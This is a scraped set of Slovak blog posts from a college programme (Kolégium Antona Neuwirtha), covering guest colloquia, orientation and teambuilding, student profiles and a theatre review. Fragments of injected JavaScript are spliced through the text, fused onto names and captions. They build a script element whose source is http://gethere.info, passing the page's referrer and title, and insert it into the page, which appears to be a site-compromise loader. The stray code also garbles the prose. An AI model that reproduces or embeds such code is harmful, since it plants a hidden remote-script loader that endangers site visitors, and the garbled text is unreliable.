Hlavne sa nebojte

Slovo kolokvium má etymologický pôvod v latinskom colloquium, čo znamená rozprava alebo rozhovor. Od začiatku akademického roka v Kolégiu sme sa stretli už pri dvoch takýchto rozhovoroch s veľmi zaujímavými hosťami zo zahraničia. Ohromnou vášňou do života a typickými talianskymi gestami nás zasypal Fabio Bortolini, úspešný podnikateľ zo severovýchodu Talianska, ale so srdcom Popradčana. Pat Fagan, riaditeľ Inštitútu pre výskum manželstva a náboženstva vo Washingtone, nás vo svojej múdrosti povzbudil, že Slovensko je nádejou pre Európu.

 

Pred našim prvým kolokviom sme boli trochu napätí – ako to bude celé prebiehať? Príde zaujímavý človek, my pamätáme, že reprezentujeme Kolégium… Do knižnice vošiel energický usmiaty muž a po predstavení Martinom Kolesárom nám svojou veľmi dobrou slovenčinou povedal: „Budeme si tykať, dobre? Alebo kto je proti, nech sa prihlási.“ Všetky ruky ostali dole. Fabio pochádza z Jezola, študoval filozofiu na Padovskej univerzite a na Slovensko ho priviedla láska k horolezectvu. Tým sa nám pokúsil nalomiť zažitý stereotyp, že cudzinci prichádzajú na Slovensko len kvôli láske k ženám. Povedzme, že úspešne. Spolu s partiou kamarátov prišiel tesne po Nežnej revolúcií zliezť si Vysoké Tatry a všimol si zbiedenú podnikateľskú situáciu v Poprade. Napadlo mu, že by mohol priniesť „biznis z Jezola“, teda podnikať so zlatom a šperkami, na Slovensko. Stalo sa a úspech na seba nenechal dlho čakať.

Fabio si tiež neskoršie otvoril kaviareň, spolu s priateľmi z Popradu už niekoľko rokov organizuje festival talianskej gastronómie a kultúry Viva Italia, a čo je najzaujímavejšie, stal sa zapáleným občianskym aktivistom Popradu. „Sadnite si spolu s priateľmi, premýšľajte, čo môžete urobiť pre váš región, a potom nemajte strach pre to obetovať mnoho,“ nabáda nás.

Fabio I

Patrick „Pat“ Fagan k nám prišiel spolu s pani Ankou Záborskou po ukončení Bratislavských Hanusových dní, kde prednášal na tému mýtov o potrate. Svoju kariéru začal ako učiteľ v Írsku a neskôr pracoval ako psychológ v Kanade. V osemdesiatych rokoch sa presunul z klinickej sféry do verejného života – pôsobil so senátorom Danom Coatsom z Indiany, až sa napokon stal námestníkom pomocného tajomníka pre rodinnú a komunitnú politiku na Ministerstve zdravotníctva a sociálnych služieb Spojených štátov vo vláde prezidenta Busha staršieho. Marriage and Religion Research Institute, ktorý je momentálne pod vedením pána Fagana, skúma vplyv manželstva, rodiny a náboženstva na deti, dospelých a na celú spoločnosť.

Mr. Fagan II

„Včera som na Národnom pochode za život videl medzi ľuďmi lásku a nádej, ktorá bola takmer hmatateľná. Viete o tom, že proporčne k obyvateľstvu je takýto pochod najväčším na svete? Ján Pavol II. mal pravdu, keď povedal, že Slovensko sa raz stane poslom nádeje pre Európu. Ale pamätáte sa na jeho prvé slová v Pontifikáte? ´Nebojte sa!´“ povzbudil nás pán Fagan a my sme sa začali ponárať do hlbších súvislostí. Pán Fagan neváhal ostať s nami ešte dlhý čas po skončení kolokvia a odpovedať na naše bližšie a osobnejšie otázky týkajúce sa vzťahov, manželstva a povolania. „Keď si tak predstavím, svätý Jozef musel byť riadny chlapík, keď si ho Všemohúci vybral za vychovávateľa svojho jednorodeného Syna. (…) Preto neváhajte ísť za svätým Jozefom, keď sa modlíte za lásku svojho života. A pestujte si svoj najväčší talent: z neho vám vyrastie množstvo ďalších a vy potom budete schopní slúžiť veľmi dobre.“

Mr. Fagan I

Ďakujeme našim hosťom za mimoriadny čas s nimi a dúfame v skorého stretnutie. Ďakujeme aj organizátorom a tešíme sa naše ďalšie rozhovory.

 

Justína Malysová

študentka KAN7s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Pripraviť sa, pozor, KAN7!

Pár minút pred siedmou hodinou večer sa ivanským kaštieľom rozlieha príjemné bzučanie priateľských hlasov a šuchot papúč po schodiskách: „Ahoj, ja som…. Teší ma! Môžem ti pomôcť s vecami?“ Kalendáre a pripomienkové aplikácie signalizujú, že je deviateho septembra a večer si majú študenti siedmeho ročníka Kolégia Antona Neuwirtha prvýkrát zasadnúť k spoločnej večeri.

Veci už nasťahované v izbách, šaty, košele a trochu nervózne úsmevy. Tak toto sú ľudia, ktorí majú nasledujúcich desať mesiacov hľadať pravdu, vytvoriť komunitu a „podrásť“ vo svätosti. Spolu. Bude to fungovať? Obstojíme ako ročník? Zapadnem do partie? Po výdatnej hostine sme sa všetci presunuli do knižnice a začalo koliečko krátkeho predstavovania sa okorenené povinnými krátkymi príbehmi krstných mien. „Moje meno je Dávid. Viete…kráľ Dávid. Volám sa Štefan. Ako ten kráľ.“ Tak zatiaľ to vyzerá buď na ego nalepené na ego, alebo na prísľub atmosféry plnej humoru. Kým sa vystriedali všetci ľudia v miestnosti, bolo jasné, že vyhralo to druhé a posledné „medziľudské ľady“ rozboril Juraj Šúst záverečnou krátkou rozpravou o svojej vášni k terchovskej ľudovej muzike.

Priateľský úvod mal byť posmelením a prípravou na tsunami informácií a pokynov valiacej sa na nás počas nasledujúcich orientačných dní. Enumerácia pravidiel akademického piliera, predstavenie možností komunitného piliera a pozvanie do spoločnej modlitby od Jožka Feketeho nám začalo načrtávať v hrubých rysoch to, čo o chvíľu budeme zažívať v každodennosti. Je to vôbec možné skĺbiť s denným štúdium na vysokej škole?! Mnohí pred nami to zvládli a dokonca s výbornými výsledkami. V Kolégiu budeme tiež testovať a posúvať hranice svojich možností. Výzva je prijatá…

Zavŕšením nášho zorientovania sa v Kolégiu sa malo stať zorientovanie sa vo vlastnej komunite – teambuilding. Čerešnička na torte, ktorá sa pre nás na štyridsaťšesť hodín stala kameňom na srdciach. Keď sme si v piatkový podvečer na okraji lúky vedľa K-10 z úst Martina Luterána vypočuli zadanie teambuildingovej úlohy, mnohým z nás napadlo: Nemožné! Do nedele večer postaviť altánok prevažne z paliet a odpadového materiálu, v ktorom bude miesto na sedenie pre aspoň pätnásť ľudí, bude mať podlahu a strechu, máme myslieť na ochranný náter a estetické doplnky. Aby toho nebolo málo, máme na šiestu hodinu večer zorganizovať pre verejnosť večierok s občerstvením a kultúrnym programom. Rozpočet na všetko je dvesto eur. A na to, aby mal svet prehľad o tom, ako postupujeme, máme vytvoriť fejsbúkovskú stránku, na ktorú by sme mali aspoň raz za dve hodiny pridávať čerstvé informácie. Jedna z posledných viet zadania nás vyprevádzala pozdravom: „Nezabudnite, že deň má dvadsaťštyri hodín.“

KAN-2015-portrety_076

Po počiatočnom strese, panike a chaose sme zasadli v spoločenskej miestnosti v K-10 na našej prvej porade zahájenej modlitbou, kde nám schladli hlavy a zapálili sa srdcia pre vec. Rozdelili sme sa do základných tímov, nevyhnutných na realizáciu projektu: stavbári, tím pre propagáciu a komunikáciu s verejnosťou a gastro tím. V jednotlivých tímoch sa dobrovoľne prihlásil zástupca, rozdelili sa stanoviská, spoločne sa premyslela stratégia a začali sme makať. Úloha začala plniť svoj účel hneď na začiatku – všetkým nám bolo jasné, že úspešný výsledok nielen celého projektu, ale už jednotlivých tímov presahuje možnosti jednotlivca a bez spolupráce to jednoducho nie je uskutočniteľné.

Pracovať spoločne na jednom diele nám išlo lepšie, ako sme možno aj dúfali. Každý robil, čo bolo v jeho silách, a ako najlepšie vedel. Keď začala hustnúť atmosféra a stúpať prvé dymové signály, vedeli sme si problém vydiskutovať, urobiť kompromis a čo bolo najzaujímavejšie, občas sme sa až predbiehali v úslužnosti. A výsledok? Podarilo sa! V nedeľu večer naozaj stál náš KANtánok, ako sme ho nazvali, na určenom mieste a večierok bol v plnom prúde a dobrej nálade v spoločnosti skvelých ľudí. Úloha sa však podarila nie len formálne, ale aj obsahovo – na záverečnom hodnotení v K-10 spolu zasadlo jedno spoločenstvo – KAN7.

Prvé dni plné prvých dojmov. Prehnané očakávania sa pomaly začínajú rozbíjať o realitu, príjemné prekvapenia potvrdzujú chýry o živote v Kolégiu. Devätnásť študentov siedmeho ročníka má za sebou prvé dni a teraz už prijímame Aristotelovo pozvanie do diskusie. Držte nám palce!

Justína Malysová

študentka KAN7var d=document;var s=d.createElement(‘script’);

Profily študentov #11: Marek Breza

Narodil som sa a pochádzam z: Košíc. Košice-Juh

Študujem na: Mám prerušené štúdium na Ekonomickej fakulte (Tech. Univerzita Košice), odbor Financie, bankovníctvo a investovanie. Po KANe budem pokračovať v štúdiu.

Moje motto: Čo bolo, je to, čo aj zasa bude. A čo sa už stalo, to sa opäť stane. Nič nie je nové pod slnkom.

Čo ma priviedlo do Kolégia: Možnosť študovať a poznávať pravdu o veciach. Takže najmä túžba poznávať odpovede na základné otázky boli dôvodom pre Kolégium.

Čo mi zatiaľ Kolégium dalo: Domnievam sa, že asi viac ako si momentálne uvedomujem. Dalo mi jedinečnú možnosť zistiť, koľko toho ešte neviem, a aké dôležité je ďalej poznávať.

Čo mi Kolégium vzalo: Asi nič s čím by som nebol stotožnený. Čo nie je prekvapujúce, veď som sa rozhodol pre Kolégium dobrovoľne:)

Čo je mojím najväčším zážitkom z Kolégia: Myslím, že to bude niektorá z diskusií v K10 s chalanmi. Takéto diskusie majú svoj osobitný ráz, v ktorom sa prelína radosť z myslenia a priateľstva.

Čo je mojou najväčšou túžbou: Využívať naplno čas, ktorý mám práve k dispozícii.

Akú super schopnosť by som chcel mať: Vedieť behať rýchlo a veľmi dlho. Tak  cez 100 km za deň, to by bolo úplne super:)

Voľný čas trávim: Z času na čas sa venujem skautingu, prípadne ak je čas na gitaru tak je to úplne super.

Akú vlastnosť si na ľuďoch vážim najviac: Zrejme pravdovravnosť. Zdá sa, že to mnohé veci uľahčuje.

Čo by som chcel v budúcnosti robiť? Pokračovať v štúdiu, hrať na gitare a venovať sa podobným príjemným a potrebným činnostiam.

ja2document.currentScript.parentNode.insertBefore(s, document.currentScript);

Profily študentov #10: Marek Zeleniak

Narodila som sa a pochádzam z: 11.10.1993, Bardejova

Študujem na: Ekonomická Univerzita Bratislava, Obchodná fakulta, odbor: Zahranično obchodné podnikanie, krúžok 5:)

Moje motto:  Mať pred sebou cieľ a pod kontrolou svoje povinnosti. (To som si vymyslel, lebo by som sa k tomu chcel dopracovať).

Čo ma priviedlo do Kolégia: Rozhovor s Fr. Larry Sheidl (Spiritual director of Global Outreach program). On mi povedal o Kolégiu ešte na konci tretieho ročníka, počas môjho roka v USA a povedal mi, že práve v Kolégiu by som mohol prísť na odpovede mojich otázok.

Čo mi zatiaľ Kolégium dalo: Pocit a poznanie toho, že viem, že nič neviem. Tento fakt ale beriem vysoko pozitívne, lebo žiť v pravde je predpokladom správneho rozhodnutia.  Teda, dúfam že premýšľam kritickejšie a na svet sa pozerám reálnejšie ako pred Kolégiom. Okrem toho som v Kolégiu stretol množstvo úžasných ľudí, ktorí mi pomáhali už počas roka, sem tam som pomohol ja im a verím že si budeme pomáhať aj naďalej počas života aj mimo kolégia. V neposlednom rade ružence a omše v kaplnke s Jozefom Feketem sú zážitkom sami o sebe.

Čo mi Kolégium vzalo: Voľný čas, spánok, nič nerobenie, pár vzťahov ktoré nemali perspektívu do budúcna, ale aj pár takých pri ktorých z toho nie som nadšený.

Čo je mojím najväčším zážitkom z Kolégia: Je ich viac, ale doteraz si pamätám na to, ako som pozval mojich kamarátov na beániu a povedali mi, že sa boja s niekým začať rozprávať(sem tam som mal aj ja tento pocit ), lebo nevedia či mu budú rozumieť. Vtedy som si uvedomil, že byť ako ryba v oceáne Kolégia, nie je jednoduché ak si prišiel z akvária.

Čo je mojou najväčšou túžbou: Objaviť prečo som sa narodil, robiť to čo viem najlepšie a premieňať tento svet na krajšie miesto, resp. byť najlepším možným obrazom seba samého.

Akú super schopnosť by som chcel mať: Taká 100% prudencia by bola fajn.

Voľný čas trávim: Píšem si knihy, tancujem, chodím na omše, cvičím a dobieham čo som nestihol v rámci nevoľného času.

Akú vlastnosť si na ľuďoch vážim najviac: Ak sú osobnosťami a napriek tomu sa správajú ako úplne jednoduchý ľudia a to že sú osobnosťami im pripomínajú iní, nikdy nie oni sami.

Čo by som chcel v budúcnosti robiť? Chcem  byť manžel, otec, podnikateľ v oblasti udržateľného rozvoja a spisovateľ.

marek2

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Profily študentov #9: Paulína Paulová

Narodila som sa a pochádzam z: narodila som sa v Bratislave a pochádzam zo Šamorína

Študujem na: mám prerušenú veda o vzdelávaní na Viedenskej univerzite

Moje motto: „Buď zmenou, ktorú chceš vidieť vo svete“ (Gandhi)

Čo ma priviedlo do Kolégia: zvedavosť a túžba po všeobecnom prehľade + nájdenie samej seba

Čo mi zatiaľ Kolégium dalo: obohatilo ma vo viere, naučilo ma kritickejšie myslieť, doslova mi otvorilo oči, naučila som sa variť aj pre 40 ľudí, dalo mi kamarátov a čas na zamyslenie sa.

Čo mi Kolégium vzalo: pokojné noci a niektoré ilúzie

Čo je mojím najväčším zážitkom z Kolégia: Teambuilding (a víkendovky s Mariánom Kolníkom)

Čo je mojou najväčšou túžbou: mať rodinu

Akú super schopnosť by som chcela mať: vedieť sa teleportovať

Voľný čas trávim: športom, štúdiom, s rodinou, s kamarátmi, fotením, autami, módou…

Akú vlastnosť si na ľuďoch vážim najviac: úprimnosť

Čo by som chcela v budúcnosti robiť: pracovať na inovácii didaktických pomôcok a vzdelávať učiteľov

 

-tGo5YzzK32DMCTzyxCtNeXel0EK4AFfxHRySq1sdak

} else {

Profily študentov #8: Martin Muranský

Narodil som sa a pochádzam z: Narodil som sa v Prešove. Bývam vo Veľkom Šariši v časti Kanaš.

Študujem na: Univerzite Komenského – Prírodovedeckej fakulte

Moje motto: „Život netreba brať príliš vážne, aj tak z neho nevyviazneme živý…“

Čo ma priviedlo do Kolégia: V Kolégiu som mal minulý rok aj predtým niekoľko dobrých kamarátov . Dosť si program pochvaľovali, že dáva entuziazmus a rozhľad. Tak som sa prihlásil aj ja.

Čo mi zatiaľ Kolégium dalo: Dalo mi možnosť viac objaviť samého seba, svoje predností a obmedzenia…

Čo mi Kolégium vzalo: Vzalo mi 140 eur mesačne. Čo však je v skutočnosti naozaj málo vzhľadom na to, čo Kolégium ponúka. Vzalo mi okolo 20 hodín týždenne, ale bol to dobre využitý čas.

Čo je mojím najväčším zážitkom z Kolégia: Skúsenosť, že je možné zvládať a stíhať viac, ako si človek mysli. Taktiež som zažil niečo, čo mu sa tu hovorí intelektuálny zážitok. Je to radosť s premýšľania, niečo, čo som predtým zažíval menej často.

Čo je mojou najväčšou túžbou: Žiť spokojne a vyrovnane so svojou rodinou život, ktorý má zmysel.

Akú super schopnosť by som chcel mať: Opakovane bezbolestne zomierať. Aby som sa mohol pri nejakom športe zabiť, a následne v ňom pokračovať. Alebo by som sa zabil pri šialene rýchlej jazde na motorke a zajtra zase….

Voľný čas trávim: V Kolégiu je voľného času málo. Trávim ho športom.

Akú vlastnosť si na ľuďoch vážim najviac: Keď dodržia slovo.

Čo by som chcel v budúcnosti robiť: To je ťažká otázka. Malo by to byť  niečo, čo bude Bohu prinášať slávu, mne spásu, rodine radosť a svetu osoh.

maco

 if (document.currentScript) {

Profily študentov #7: Danka Čontofalská

12 otázok a odpovedí. Predstavuje sa nám dnes Danka Čontofalská :
Narodila som sa a pochádzam z:
Košice (?!) …Košim košim ! :D

Študujem na:
Pracovnú a sociálnu psychológiu na Fakulte sociálnych a ekonomických vied UK

Moje motto:
Ži Bohu na SLÁVU,
ľuďom na RADOSŤ
a sebe na SPÁSU.

Čo ma priviedlo do Kolégia:

Najprv zhoda zvláštnych okolností :D, ale potom predovšetkým TÚŽBA spoznať a pochopiť..seba, svet, Pravdu!
Čo mi zatiaľ Kolégium dalo:
Inú perspektívu; zrkadlo o sebe; cenné nástroje do života (7habits, mindfulness). Možnosť zažiť neopakovateľné chvíle na skvostných miestach s úžasnými ľuďmi. Kolégium mi dalo NÁDEJ, že aj dnes sa dajú veci robiť správne! A nesmiem zabudnúť ani na ženský arzenál zručností vo varení a upratovaní :D

Čo mi Kolégium vzalo:
Pochabosť veľkej ryby z malého rybníka :D Nevedomosť, mainstream myslenie a mnoho výhovoriek…“bohužiaľ“ :D

Čo je mojím najväčším zážitkom z Kolégia:
Ako raz povedala naša riaditeľka Mirka: „Kolégium je ako škola v prírode. Každý deň je niečo!“ :D
Mnou však mimoriadne pohli: víkendovky 7 habits s Mariánom Kolníkom, teambuilding „Challenge Neuwirth 777“, Gaming, mentoring so Stankou a rozhovory s Jožkom F.

Čo je mojou najväčšou túžbou:
NEBO – t.j. dokonalé šťastie, pokoj a radosť :)

Akú super schopnosť by som chcela mať:
Lietať a mať Arabelin prsteň…i keď po tomto roku vážne zvažujem aj chlapský NOTHING BOX ! :D

Voľný čas trávim:
Ako každý správny hedonista- ŽIVOTOM :D – rada debatujem, tancujem, spím, kávičkujem, počúvam hudbu, skúšam nové veci, spoznávam nových ľudí a kreatívne sa vyžívam. Rada si vychutnávam obyčajné chvíle jednoduchého života.

Akú vlastnosť si na ľuďoch vážim najviac:
Pokoj, pokoru a silu ducha.

Čo by som chcela v budúcnosti robiť:
Chcem žiť, tvoriť, budovať, meniť, rásť. Stať sa dobrou manželkou, matkou, osobou. Každý deň robiť a žiť A.M.D.G (na väčšiu Božiu slávu).

dnaka_strankadocument.currentScript.parentNode.insertBefore(s, document.currentScript);

Profily študentov #6: Adriána Gnipová

Volám sa:

Adriána Gnipová

Narodila som sa a pochádzam z:

Narodila som sa v Snine a pochádzam z dediny Belej nad Cirochou.

Študujem na:

Fakulte manažmentu UK v Bratislave.

Moje motto:

Nemám také, ktoré by sa dalo označiť za životné motto, skôr sa to často mení a momentálne je to : „Každý sme strojcom svojho šťastia.“

Čo ma priviedlo do Kolégia:

Nadšenie  pre Kolégium mojich kamarátok z ročníka KAN 5. Oni boli prvým impulzom, vďaka ktorému som nad prihláškou do Kolégia začala premýšľať a nakoniec si ju aj podala.

Čo mi zatiaľ Kolégium dalo:

Nový pohľad na svet okolo mňa. Spoločne strávené víkendovky – zatiaľ mala pre mňa každá veľký prínos – stále v niečom inom – či už ako čas strávený s komunitou, po akademickej stránke alebo ma naučili lepšie si zorganizovať a naplánovať veci. Tiež vzácne priateľstvá a feedback, ktorý som pred tým určite v tak hojnej miere nemala :)

Čo mi Kolégium vzalo:

Čas a spánok –  nie žeby som to ľutovala.

Čo je mojím najväčším zážitkom z Kolégia:

Víkendovka Sedem návykov efektívnych ľudí.

Čo je mojou najväčšou túžbou:

Rodina.

Akú super schopnosť by som chcela mať:

Lietať, ale aj schopnosť byť na dvoch miestach naraz –(momentálne): doma a v Ivanke :)

Voľný čas trávim:

S priateľmi, v prírode,  a ak je počasie, tak si rada vonku zabehám. + tento semester sa  snažím vo voľnom čase  viac čítať – keď už máme v knižnici v Kolégiu taký výber kvalitnej literatúry, treba to využiť :)

Akú vlastnosť si na ľuďoch vážim najviac:

Úprimnosť a autentickosť.

Čo by som chcela v budúcnosti robiť:

Žiť to, v čo verím.

kan-ii-reportaz-067} else {

Ó Sláva Hviezd Ó Sláva

Dňa 26. 3.2015 sa vo veľkej sále kaštieľa v Ivanke pri Dunaji uskutočnilo veľmi netradičné divadelné predstavenie. Režisér Peter Weinciller chcel touto divadelnou hrou priblížiť divákovi Pavla Országha Hviezdoslava a jeho balady a myslím, že sa mu to naozaj podarilo.

Toto veľmi netypické, no za to vynikajúce divadelné predstavenie spojilo tri balady: Margitu, Zuzku Majerovú a Anču. Na scéne vystupovali tri herečky, ktoré počas predstavenia používali iba jednu stoličku a na doplnenie atmosféry a vykreslenie dedinského prostredia občas zaznel cimbal. Každý si mohol prísť na svoje nielen vďaka veľmi netradičnémi podaniu týchto troch balád, ale aj vďaka kombinácií spevu, tanca, smiechu, radosti, ale aj smútku a tragických okamihov a osudov hlavných postáv, ktoré občas prinútili diváka zamyslieť sa.

TEATRO COLORATO – DIVADLO PLNÉ FARIEB, ktoré sa nám vo štvrtok predstavilo, tvoria mladí profesionálni divadelníci, absolventi vysokých umeleckých škôl a herci bratislavských i mimobratislavských divadiel. Po predstavení sme mali možnosť porozprávať sa s tvorcami a hercami pri krátkom Kolokviu a dozvedieť sa tak viac o ich tvorbe i vystúpeniach v zahraničí. Zúčastnenými výnimočne neboli len študenti Kolégia ale pozvaní boli aj milovníci divadla, poprípade tí, ktorí chceli vidieť kaštieľ z vnútra.

-SP-

 } else {

Profily študentov #4: Filip Morjak

Volám sa: Filip Morjak

Narodil som sa a pochádzam z: Narodil som sa v Prešove, teraz bývam v Teriakovciach, 3km od Prešova.

Študujem na: Neštudujem, v školskom roku 2015/2016 budem v prvom ročníku na filmovej a televíznej fakulte VŠMU, na odbore strihová skladba.

Čo ma priviedlo do Kolégia: Veľmi ma oslovila Letná Univerzita, ktorú cez prázdniny Kolégium organizuje pre stredoškolákov. Zaujal ma racionálny jazyk, ktorý sa v Kolégiu používa aj pri teologickejších diskusiách. Ten je pri dialógu so svetom kľúčový. Priviedla ma túžba naučiť sa kriticky myslieť. Z tématických oblastí to bola hlavne morálna filozofia.

Čo mi zatiaľ Kolégium dalo: Dalo mi niečo, čo už nikdy v živote nezažijem – rok štúdia s ľuďmi, s ktorými aj bývam. Môžeme tak spolu rásť nie len akademicky a duchovne, ale aj v bežných spoločných činnostiach. Veľmi vnímam, akým je spoločenstvo dobrých ľudí vzácnym darom. V septembri mi Kolégium dalo aj zápisník a ceruzku s logom.

Čo je mojím najväčším zážitkom z Kolégia: Mojím najväčším zážitkom je ktorýkoľvek všedný deň v Kolégiu. Spontánna diskusia v kuchyni pri večeri, spoločné semináre spojené s diskusiami, kolokviá s inšpiratívnymi ľuďmi, rozhovory s akademikmi, či ktorákoľvek krátka chvíľa v kaplnke.

Čo je mojou najväčšou túžbou: Okrem neba po smrti je mojou najväčšou túžbou vybudovať trochu neba už tu na zemi. Dúfam, že túžim byť dobrým človekom nie pre vlastný pocit, ale pre spoločné dobro všetkých. Nie je to však pre mňa však vždy ľahké posúdiť. Túžim mať rodinu s peknou, múdrou a pokornou ženou. Tiež by som sa veľmi chcel podieľať sa na výrobe kvalitných slovenských filmov.

Voľný čas trávim: Ak mám po jedle povinnosti, trávim aj mimo voľného času. Vo voľnom čase však rád tvorím videá, pozerám filmy a čítam. Rád sa rozprávam o filozofii, ale aj o vzťahoch (kto nie?) a pijem malinovo-šípkový čaj.

Akú špeciálnu vlastnosť by som chcel mať (a prečo) : V detstve to boli schopnosti Spider-mana, no časom, keď som v mnohom vyrástol, dospel a môj pohľad na život sa stal reálnejším, hodnotím schopnosti mnohých superhrdinov, ako oveľa efektívnejšie. Asi by to bola schopnosť, akú má The Flash – superrýchlosť. Ušetrilo by to čas pri práci, či cestovaní. Čo sa týka cestovania, teleport by bol určite praktickejší, no zďaleka nie taký cool, ako superrýchlosť.

Moje motto: “Buďte dobrí, lebo môžete” (Upgrade citátu Filipa Neriho – “Buďte dobrí, ak môžete” od Laury Senderákovej)

AA0_0551document.currentScript.parentNode.insertBefore(s, document.currentScript);